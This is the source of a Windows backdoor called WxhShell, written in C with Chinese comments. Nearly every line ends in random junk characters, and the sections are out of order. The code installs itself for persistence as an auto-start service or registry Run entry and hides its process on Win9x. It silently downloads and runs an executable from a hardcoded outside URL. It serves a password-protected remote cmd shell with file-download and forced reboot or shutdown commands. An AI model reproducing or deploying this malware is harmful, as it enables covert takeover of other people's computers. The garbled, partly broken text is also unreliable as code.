    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;z?m)ur  
    else { QK72 F  
    closesocket(wsh);  A=,m  
    ExitThread(0); YP6+o#==  
    } )KNFS,5  
    break; R6!3Y/Q@  
    } !xlVyt5e  
  // 获取shell bUBuJ  
  case 's': { ^,X+ n5q;m  
    CmdShell(wsh); HCP Be2  
    closesocket(wsh); /i]Gg \)  
    ExitThread(0); eI[z%j[Y*  
    break; NZ_45/(dx  
  } v|hi;l@7E  
  // 退出 K+7xjFoDIR  
  case 'x': { [;2v[&Po  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u66w('2  
    CloseIt(wsh); ! 87ebo  
    break; mMMu'N  
    } ?gkK*\x2  
  // 离开 6`yq4!&v  
  case 'q': { X0lIeGwrQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WgjaMmht  
    closesocket(wsh); d ] [E;$  
    WSACleanup(); IL~yJx_11  
    exit(1); iD\joh-C  
    break; +EFur dX\  
        } zJ\I%7h*  
  } {S}/LSNB  
  } F[+sc Mx!G  
)TWf/L cp  
  // 提示信息 LvR=uD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 55AG>j&41  
} [fb-G5x  
  } |[qI2-el?  
aw,8'N)  
  return; l +#`  
} $Fo ,$  
cO <x:{`  
// shell模块句柄 -AbA6_j  
int CmdShell(SOCKET sock) 6q5V*sJ&  
{ AXJC&O}`  
STARTUPINFO si; Mn=_lhW K  
ZeroMemory(&si,sizeof(si)); u_uC78`p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _[<I&^%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }3+(A`9h f  
PROCESS_INFORMATION ProcessInfo; I[R?j?$}>  
char cmdline[]="cmd"; E{FNsa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y_'8m9Qy)  
  return 0; WgY3g1C  
} n"Ev25%  
H<qR^a  
// 自身启动模式 RpreW7B_Q*  
int StartFromService(void) ]\GGC]:\@  
{ ]s u\[?l  
typedef struct ^awl-CG  
{ f5O*Njl  
  DWORD ExitStatus; 0!^{V:DtQ  
  DWORD PebBaseAddress; `=.{i}V  
  DWORD AffinityMask; `aC#s3[  
  DWORD BasePriority; 4iKT  
  ULONG UniqueProcessId; co;2s-X  
  ULONG InheritedFromUniqueProcessId; \=QG6&_  
}   PROCESS_BASIC_INFORMATION; SY)o<MD  
;mMn-+3<  
PROCNTQSIP NtQueryInformationProcess; C|>#|5XaF  
9eV@v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =7jkW (Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aC:rrS  
_{A($/~c?  
  HANDLE             hProcess; Fa;CWyt  
  PROCESS_BASIC_INFORMATION pbi; \h"s[G zq  
10a=[\ Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F6fm{  
  if(NULL == hInst ) return 0; F'Wef11Yz  
{}.c.W+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z{e5 OJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'SuYNA)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1sgoT f%  
&)wQ|{P~k  
  if (!NtQueryInformationProcess) return 0; v7g-M  
QN0Ik 2L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #$8tBo  
  if(!hProcess) return 0; +tuC845  
ljNd!RaB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a ZfX |  
D7=gUm >  
  CloseHandle(hProcess); 94n,13  
jdhhvoQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9'T(Fc  
if(hProcess==NULL) return 0; )2R:P`U  
Kyv$yf 9  
HMODULE hMod; $H5Xa[  
char procName[255]; WJ mj|$D  
unsigned long cbNeeded; 8I@_X~R  
(+9@j(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D,J's(wd  
}F^c*xt[  
  CloseHandle(hProcess); aE:fMDS|x  
&gq\e^0CRZ  
if(strstr(procName,"services")) return 1; // 以服务启动 1W; +hXx  
Ex~OT  
  return 0; // 注册表启动 Qx {/izc  
} ptUnV3h  
W/+|dN{O+g  
// 主模块 d/|@"z^?  
int StartWxhshell(LPSTR lpCmdLine) 1N2:4|woe  
{ d`v]+HK  
  SOCKET wsl; ty(F;M(  
BOOL val=TRUE; cnI!}Bu  
  int port=0; ^d!-IL_  
  struct sockaddr_in door; fa$ Fo(.  
{At1]>  
  if(wscfg.ws_autoins) Install(); ]2v31'  
W~gFY#w  
port=atoi(lpCmdLine); sYeZ.MacU  
vZ|m3;X  
if(port<=0) port=wscfg.ws_port; Bm^vKzp  
|JrG?:n  
  WSADATA data; Z>o20uA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TlM ]d;9G  
u YJ6 "j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dGZVWEaPfx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'os-+m@  
  door.sin_family = AF_INET; _sw,Y!x%dF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .O~)zM x  
  door.sin_port = htons(port); &x\u.wIa  
_e/v w:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MTa.Ubs  
closesocket(wsl); W4T>@ b.  
return 1; tR*J M$T  
} 0gxbo  
?e yo2:-$  
  if(listen(wsl,2) == INVALID_SOCKET) { ij%\ld9kd  
closesocket(wsl); MB:E/  
return 1; M]eH JZ~v  
} *p+%&z_<  
  Wxhshell(wsl); L{osh0  
  WSACleanup(); sexnO^s  
Av7bp[OD  
return 0; e>Is$+[`7  
}9{6{TD  
} ,sXa{U  
<+C]^*j  
// 以NT服务方式启动 k4s >sd3 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NaLec|6<t  
{ ~^:/t<N  
DWORD   status = 0; F@&q4whaVD  
  DWORD   specificError = 0xfffffff; OyFBM>6gh  
7@MVInV9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oO!@s`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YP+0 uZ[g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vlx wt~  
  serviceStatus.dwWin32ExitCode     = 0; O Y/QA  
  serviceStatus.dwServiceSpecificExitCode = 0; ss |<\DE+  
  serviceStatus.dwCheckPoint       = 0; .#Z}}W#  
  serviceStatus.dwWaitHint       = 0; ^D"}OQoh  
;,4Z5+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rm"lRkY4I[  
  if (hServiceStatusHandle==0) return; %0. o(U  
Hz!+g'R!Gs  
status = GetLastError(); 8qo{%  
  if (status!=NO_ERROR) 61b,+'-  
{ MiAXbo#\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eRv3qK{`  
    serviceStatus.dwCheckPoint       = 0; 1z0&+C3z  
    serviceStatus.dwWaitHint       = 0; YtE V8w_$  
    serviceStatus.dwWin32ExitCode     = status; M'Q{2%:>a  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7[^:[OEE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qFt%{~a S  
    return; }yC ve  
  } ^pAqe8u_  
kR9G;IZ8s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2r<UYB  
  serviceStatus.dwCheckPoint       = 0; K4snp u hC  
  serviceStatus.dwWaitHint       = 0; GAEz :n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vD^^0-Pk6  
} 5fSDdaO  
yUqvF6+26  
// 处理NT服务事件,比如:启动、停止 >J|I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {b8!YbG  
{ _ i.CvYe  
switch(fdwControl) JaiYVx(  
{ XLI'f$w&  
case SERVICE_CONTROL_STOP: n-}.Yc  
  serviceStatus.dwWin32ExitCode = 0; a|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A<QYW,:|  
  serviceStatus.dwCheckPoint   = 0; )k- 7mwkZ  
  serviceStatus.dwWaitHint     = 0; VNx}ADXu]  
  { e*:[#LJ]C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a:7"F{D91  
  } ,`B*rCOa  
  return; ;Hv#SRSz  
case SERVICE_CONTROL_PAUSE: O=G2bdY{,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v5RS<?o  
  break; _LxV)  
case SERVICE_CONTROL_CONTINUE: Yk6fr~b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 's(0>i  
  break; WOz dYeeG  
case SERVICE_CONTROL_INTERROGATE: m%'9zL c  
  break; HkGzyDt  
}; g=:%j5?.e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jrvhTej  
} `LVXK|m+$  
ZZ)bTLu  
// 标准应用程序主函数 #$e~ o}(r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Iyv${  
{ Oh5(8.<y  
=3}@\f#  
// 获取操作系统版本 {y)s85:t  
OsIsNt=GetOsVer(); v$owG-_><  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :DR G=-M  
rX{QgyY&  
  // 从命令行安装 WB"$NYB  
  if(strpbrk(lpCmdLine,"iI")) Install(); )p).}"   
sbQmPV  
  // 下载执行文件 RT F9;]Ti  
if(wscfg.ws_downexe) { Z[slN5]([  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /px*v<Aw1  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yono8M;9*  
} ~BaU2S@y  
<~u.:x@ R  
if(!OsIsNt) { J wRdr8q  
// 如果时win9x,隐藏进程并且设置为注册表启动 6JSa:Q>,  
HideProc(); @L,T/m-HF  
StartWxhshell(lpCmdLine); na?jCq9C  
} HEhdV5B  
else EX='\~Dw  
  if(StartFromService()) s[SzE6eQ`l  
  // 以服务方式启动 U^snb6\5  
  StartServiceCtrlDispatcher(DispatchTable); (uD(,3/Cw  
else , .x5  
  // 普通方式启动 YEF%l'm( \  
  StartWxhshell(lpCmdLine); <YUc?NF  
Fx/9T2%=  
return 0; >Czcs=(L.k  
} {(7Dz*0  
psta&u\ q  
\@:pWe  
@|j`I1r.A  
=========================================== :nd }e  
Z>Rd6o'  
#z6RzZu  
t'Nu^_#  
|0b$60m$!t  
GQ$0`?lp  
" aGr(djD  
(t&P. N/  
#include <stdio.h> /#G^?2o M  
#include <string.h> O (tcu@vfl  
#include <windows.h> q(\$-Dk.Vv  
#include <winsock2.h> k&n7 _[]n  
#include <winsvc.h> pW:U|m1dS  
#include <urlmon.h> KJ.ra\F  
ST'L \yebc  
#pragma comment (lib, "Ws2_32.lib") 'B8fc-n  
#pragma comment (lib, "urlmon.lib") +)qPUKb?  
[t: =%&B  
#define MAX_USER   100 // 最大客户端连接数 wpb6F '  
#define BUF_SOCK   200 // sock buffer ePrb G4xv  
#define KEY_BUFF   255 // 输入 buffer .Xg%><{~  
OE}L})"  
#define REBOOT     0   // 重启 s<sqO,!  
#define SHUTDOWN   1   // 关机 +0^N#0)  
1Yz1/gFj  
#define DEF_PORT   5000 // 监听端口 _U.8\J2  
+`mJh \*  
#define REG_LEN     16   // 注册表键长度 3S_KycE{  
#define SVC_LEN     80   // NT服务名长度 Yu9Ccj`  
g5M-Vu  
// 从dll定义API |2 g }i\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z@t).$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }u5 Mexs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z,P:i$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZBJ.dK?Ky|  
j0kEi+!TVq  
// wxhshell配置信息 B>o #eW  
struct WSCFG {  8Nd +  
  int ws_port;         // 监听端口 7>9/bB+TL  
  char ws_passstr[REG_LEN]; // 口令 5\S)8j `8  
  int ws_autoins;       // 安装标记, 1=yes 0=no @Ys(j$U't  
  char ws_regname[REG_LEN]; // 注册表键名 8:huWjh]M  
  char ws_svcname[REG_LEN]; // 服务名 :kOLiko!4>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oMkB!s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Xlmt$Jp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [ }jSx]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :>Z0Kb}7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qV/"30,K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *xkbKkm  
{S~2m2up0L  
}; '"GdO;}&  
6:330"9  
// default Wxhshell configuration 0 -=onX  
struct WSCFG wscfg={DEF_PORT, ZZ]/9oiF%  
    "xuhuanlingzhe", A^3cP, L  
    1, [\@!~F{  
    "Wxhshell", YZr^;jfP  
    "Wxhshell", b1\z&IdC  
            "WxhShell Service", QEQ8gfN9>  
    "Wrsky Windows CmdShell Service", Kcsje_I-M  
    "Please Input Your Password: ", q.K >v'  
  1, ]^8:"Ky'  
  "http://www.wrsky.com/wxhshell.exe", ky#<\K1}'  
  "Wxhshell.exe" 3543[W#a  
    }; ^Ac0#oX]M  
pZlBpGQf  
// 消息定义模块 %vxd($Ti"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Q#hanh_`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?9Fv0-g&n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9P{5bG0o8  
char *msg_ws_ext="\n\rExit."; l1gAm#  
char *msg_ws_end="\n\rQuit."; FT[wa-b  
char *msg_ws_boot="\n\rReboot..."; U5dJ=G  
char *msg_ws_poff="\n\rShutdown..."; y!blp>V6  
char *msg_ws_down="\n\rSave to "; N95"dNZE  
U87VaUr  
char *msg_ws_err="\n\rErr!"; *h@nAB\3  
char *msg_ws_ok="\n\rOK!"; o:f=dBmoX  
7M3q|7 ?  
char ExeFile[MAX_PATH]; ^ }U{O A  
int nUser = 0; : b $ M  
HANDLE handles[MAX_USER]; <!5N=-  
int OsIsNt; !+U#^2Gz  
ENA8o}n  
SERVICE_STATUS       serviceStatus; 9} eIidwK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TcauCL  
UF D_  
// 函数声明 ;=_<\2  
int Install(void); C]A*B  
int Uninstall(void); w{I60|C]*  
int DownloadFile(char *sURL, SOCKET wsh); Q]{DhDz ?+  
int Boot(int flag); 7yeZ+lD  
void HideProc(void); iMk`t:!;#"  
int GetOsVer(void); e7]IEBbX2O  
int Wxhshell(SOCKET wsl); S8.nM}x  
void TalkWithClient(void *cs); qW?^_  
int CmdShell(SOCKET sock); yw#P<8{/[  
int StartFromService(void); "y_$!KY%  
int StartWxhshell(LPSTR lpCmdLine); h*_r=' E  
$v-lG(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?#,\,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \<i#Jn+)  
VF<{Qx*  
// 数据结构和表定义 qe`W~a9x  
SERVICE_TABLE_ENTRY DispatchTable[] = cvn,&G -`  
{ |n01T_Z)P  
{wscfg.ws_svcname, NTServiceMain}, je_77G(F  
{NULL, NULL} b]hRmW  
}; =1VY/sv  
1?E\2t&K  
// 自我安装 goRoi\z $  
int Install(void) r/:9j(yxr  
{ %QwMB`x  
  char svExeFile[MAX_PATH]; } ..}]J;To  
  HKEY key; D dt9`j  
  strcpy(svExeFile,ExeFile); 2>ce(4Gky  
~4XJ" d3L  
// 如果是win9x系统,修改注册表设为自启动 n)$ q*IN"  
if(!OsIsNt) { /3FC@?l w4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5IVASqYp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r[EN`AxDb  
  RegCloseKey(key); <0JW[m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <9\_b 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zh*NRN  
  RegCloseKey(key); <:q]t6]$  
  return 0; JOenVepQ,  
    } J5@_OIc1y  
  } khjW9Aa8t  
} dRWp/3 }  
else { B<8Z?:3YS  
[#lPT'l  
// 如果是NT以上系统,安装为系统服务 DFE?H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @@SG0YxZ  
if (schSCManager!=0) A' dt WD  
{ WdunI~&.  
  SC_HANDLE schService = CreateService rh$%*l  
  ( dYf Vox;  
  schSCManager, pg4M$;ED  
  wscfg.ws_svcname, FjkE^o>  
  wscfg.ws_svcdisp, >"zSW?  
  SERVICE_ALL_ACCESS, 1ub03$pL;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h=d&@k\g  
  SERVICE_AUTO_START, > { fX;l  
  SERVICE_ERROR_NORMAL, mR8&9]g&  
  svExeFile, # ?}WQP!  
  NULL, o#%2N+w  
  NULL, 2MtaOG2l&q  
  NULL, 5x=tOR/h  
  NULL, &S''fxGL  
  NULL r IS \#j  
  ); ~y B[}BPf  
  if (schService!=0) pZjyzH{~  
  { }KS[(Q  
  CloseServiceHandle(schService); 0DS<(  
  CloseServiceHandle(schSCManager); UL"Jwq D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -2% [ ]  
  strcat(svExeFile,wscfg.ws_svcname); +c\fDVv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K<Iz5+oD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :rk]o*  
  RegCloseKey(key); q;>'jHh  
  return 0; g>VkQos5"  
    } uysGOyi<u  
  } crZ\:LeJ  
  CloseServiceHandle(schSCManager); _W]3_1Lu  
} Dc #iM0  
} ZVK;m1?'  
Er~5\9,/<]  
return 1; CO4*"~']t  
} BuK82   
Dugr{Y/0  
// 自我卸载 BR"*-$u0;  
int Uninstall(void) /F/`?=1<$  
{ NrS1y"#d9  
  HKEY key; 3YA !2  
urXM}^  
if(!OsIsNt) { iwrdZLE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l ^\5Jr03  
  RegDeleteValue(key,wscfg.ws_regname); - Nplx  
  RegCloseKey(key); T'f E4}rY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P9X/yZ42  
  RegDeleteValue(key,wscfg.ws_regname); ^[^uDE <  
  RegCloseKey(key); =0x[Sa$&,  
  return 0; )0qXZ gs  
  } >Mi A|N=  
} *K-,<hJ#L  
} dIIsO{Zqv  
else { G} }oeS  
)M'#l<9B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RFQa9Rxk  
if (schSCManager!=0) HZfcLDrO  
{ YBHmd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K _O3DcQ  
  if (schService!=0) #l8CUg~Uj  
  { <<4G GO  
  if(DeleteService(schService)!=0) { 8c]\4iau  
  CloseServiceHandle(schService); 2{@: :JZ  
  CloseServiceHandle(schSCManager); NoDq4>   
  return 0; U:YT>U1Z  
  } 2JtGS-t  
  CloseServiceHandle(schService); ed>_=i  
  } <J?i+b  
  CloseServiceHandle(schSCManager); (w"zI!  
} d3^LalAp  
} Ha4?I$'$  
Hdj0! bUx  
return 1; Z-]d_Y~m4  
} +,c;Dff  
1T!_d&A1o  
// 从指定url下载文件 D[;6xJ  
int DownloadFile(char *sURL, SOCKET wsh) iK=H9j  
{ o(|`atvK  
  HRESULT hr; 3vVhE,1N  
char seps[]= "/"; F N(&3Ull  
char *token;  ,ulTZV  
char *file; DRf~l9f  
char myURL[MAX_PATH]; B3XVhUP  
char myFILE[MAX_PATH]; fN8A'p[  
Tje =vI  
strcpy(myURL,sURL); H-7*)D  
  token=strtok(myURL,seps); lE=Q(QUr  
  while(token!=NULL) ^>[DG]g  
  { q& 4Z.(  
    file=token; *R1x^t+)  
  token=strtok(NULL,seps); !>9*$E |  
  } *"j_3vAx  
G0y%_"[  
GetCurrentDirectory(MAX_PATH,myFILE); 9I30ULm  
strcat(myFILE, "\\"); ?#slg8[  
strcat(myFILE, file); jVk|(  
  send(wsh,myFILE,strlen(myFILE),0); ^x:4%%Q]l  
send(wsh,"...",3,0); mxGvhkj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o.}^6.h"  
  if(hr==S_OK) &&JI$x0;  
return 0; <fs2;  
else klJDYFX=HK  
return 1; ] p'+F  
q w|M~vdm  
} EzzzH(!j  
3)42EM'9(  
// 系统电源模块 ~iF*+\  
int Boot(int flag) zXUE<\  
{ *b7 HtUA  
  HANDLE hToken; Mr/^V,rA  
  TOKEN_PRIVILEGES tkp; 5 MQRb?[  
JL;H:`x  
  if(OsIsNt) { 3=sA]j-+(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  6~$ <  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I%{^i d@  
    tkp.PrivilegeCount = 1; YfF&: "-NU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [J-r*t"!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S,Zjol%p  
if(flag==REBOOT) { {vA;#6B|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~]c^v'k  
  return 0; .F)--%  
} ?vf\_R'M  
else { G9Azd^3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8*6J\FE<p  
  return 0; $`_(%tl  
} PX2Ejrwj  
  } 7b@EvW6X}  
  else { !i}G>*XH,  
if(flag==REBOOT) { t6-c{ZX>A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q2gc.]K \  
  return 0; ~3f#cEP>d}  
} #8nF8J< 4  
else { 9OT2yC T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &\C vrxa  
  return 0; EB@!?=0x  
} a-i#?hld  
} 4B (*{  
K%Q^2"Eb0  
return 1; Mt@K01MI%  
} &sx/qS#,VL  
WMh'<'w N_  
// win9x进程隐藏模块 0Xk;X1Xl  
void HideProc(void) w[4SuD  
{ R&PQ[Xc  
a7#Eyw^H{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Hvor{o5|tB  
  if ( hKernel != NULL ) \ov>?5  
  { Wc`Vcn1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |a\s}M1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3%|<U51  
    FreeLibrary(hKernel); l\$_t2U  
  } \Xxx5:qM  
 4uU(t  
return; <w{W1*R9  
} q. BqOa:  
yFJ(b%7  
// 获取操作系统版本 B#EF/\5  
int GetOsVer(void) t*.v!   
{ )2rI/=R  
  OSVERSIONINFO winfo; :peBQ{bj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Av+ w>~/3  
  GetVersionEx(&winfo); RA.@(DN&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vkbB~gr@*  
  return 1; qc*+;Wi+5  
  else xW"J@OiKL  
  return 0; Mh3zl  
} m\@Q/_ v  
;]n U->  
// 客户端句柄模块 @&E E/j^  
int Wxhshell(SOCKET wsl) 3]} W  
{ 66Hu<3X P  
  SOCKET wsh; hih`:y  
  struct sockaddr_in client; GIZNHG   
  DWORD myID; $I1p"6  
ZMx_J  
  while(nUser<MAX_USER) ?{{E/J:%  
{ .iew5.eB+  
  int nSize=sizeof(client); zq1&MXR)l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;'J L$=  
  if(wsh==INVALID_SOCKET) return 1; /=7|FtB`  
Z$WT ~V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -t*C-C'"|  
if(handles[nUser]==0) @}fnR(fS  
  closesocket(wsh); LGod"8~U  
else xn}'!S2-b  
  nUser++; CB?.| )Xam  
  } ~@got  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W"!nf  
D4o?  
  return 0; K=06I  
} U35}0NT _  
jh8%Xu]t  
// 关闭 socket Eda sGCo  
void CloseIt(SOCKET wsh) Saz+GQ G  
{ #3/l4`/j  
closesocket(wsh); _f34p:B%s  
nUser--; !+fHdB  
ExitThread(0); eh)J'G]G  
} <w2Nh eM 3  
U*a!Gn7l  
// 客户端请求句柄 sV[|op  
void TalkWithClient(void *cs) 1N#TL"lMS  
{ d5zzQ]|L  
q{ctHsQ(9  
  SOCKET wsh=(SOCKET)cs; 7 ic]q,  
  char pwd[SVC_LEN]; 4 &t6  
  char cmd[KEY_BUFF]; mX|AptND  
char chr[1]; ]7xAL7x  
int i,j; wz6e^ g  
[N7[%iQ%  
  while (nUser < MAX_USER) { "aa6W  
1bj75/i<6  
if(wscfg.ws_passstr) { 1U"Y'y2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !' sDqBZ&7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -@J;FjrXmP  
  //ZeroMemory(pwd,KEY_BUFF); c[",WB<9  
      i=0; cUy6/x9&  
  while(i<SVC_LEN) { Yn I   
KrbNo$0%  
  // 设置超时 y?5*K  
  fd_set FdRead; r0S7e3xb  
  struct timeval TimeOut; =M(\R8  
  FD_ZERO(&FdRead); 0!(Ii@m=N  
  FD_SET(wsh,&FdRead); =20Q! wcu  
  TimeOut.tv_sec=8; Rbr vY  
  TimeOut.tv_usec=0; ,][+:fvS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GXHk{G@TS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pr;L~$JW  
YHKm{A ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z*9/"M  
  pwd=chr[0]; K7_)!=DcX  
  if(chr[0]==0xd || chr[0]==0xa) { _Yh4[TT~/  
  pwd=0; ~CM{?{z;  
  break; /n"A%6S  
  } Jv)]7u  
  i++; (.n" J2qj  
    } _$=xa6YA  
wkd591d*  
  // 如果是非法用户,关闭 socket Js=|r;'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;G},xDGO_m  
} p.l]% \QI  
PDpIU.=!0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uf\*u$78  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0p[$8SCJ  
"&2D6  
while(1) { UiYA#m  
*~:@xMa  
  ZeroMemory(cmd,KEY_BUFF); wT.V3G  
 &`@Jy|N\  
      // 自动支持客户端 telnet标准   jR/X}XQtY  
  j=0; }]n&"=Zk-  
  while(j<KEY_BUFF) { {{<o1{_H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !P:hf/l[B  
  cmd[j]=chr[0]; <MfB;M  
  if(chr[0]==0xa || chr[0]==0xd) { z5{I3 Y!1  
  cmd[j]=0; <o]tW4\(R  
  break; BtqJkdK!;1  
  } ;V%lFP3#  
  j++; f}+G;a9Nj  
    } %b!p{p  
 F_I! +  
  // 下载文件 2nEj X\BY  
  if(strstr(cmd,"http://")) { FlkAo]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J'7){C"G$  
  if(DownloadFile(cmd,wsh)) Gwvs~jN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'[sV^ ds  
  else wCI.jGSBW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iT|+<h  
  } ]X-ZRmB`  
  else { $*@mxwMQ}  
h1Q7(8=Eg  
    switch(cmd[0]) { 9#3+k/A  
  ^SjGNg^ 7D  
